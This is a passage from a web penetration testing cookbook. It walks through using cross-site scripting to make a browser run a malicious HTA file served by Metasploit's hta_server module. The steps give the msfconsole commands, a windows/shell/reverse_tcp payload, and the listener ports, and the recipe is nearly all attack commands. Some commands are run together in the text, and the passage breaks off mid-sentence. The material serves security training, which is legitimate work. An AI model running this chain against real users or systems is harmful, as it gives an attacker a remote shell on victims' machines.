Kali Linux Web Penetration Testing Cookbook - Second Edition

How to do it...

What we are going to do is to use XSS to make the browser open and execute a malicious HTA file hosted in our Kali VM:

1. First, let's set up the server. Open the Metasploit console:

msfconsole

2. Once it's started, execute the following commands to load the exploit module and payload:

use exploit/windows/misc/hta_serverset payload windows/shell/reverse_tcp

3. Now, our server will listen on port 8888:

set srvport 8888

4. And the listener for the reverse connection, once the payload is executed, will be on port 12345:

set lport 12345show options

5. Now, we run the exploit and wait for a client to connect:

run

Notice the information ...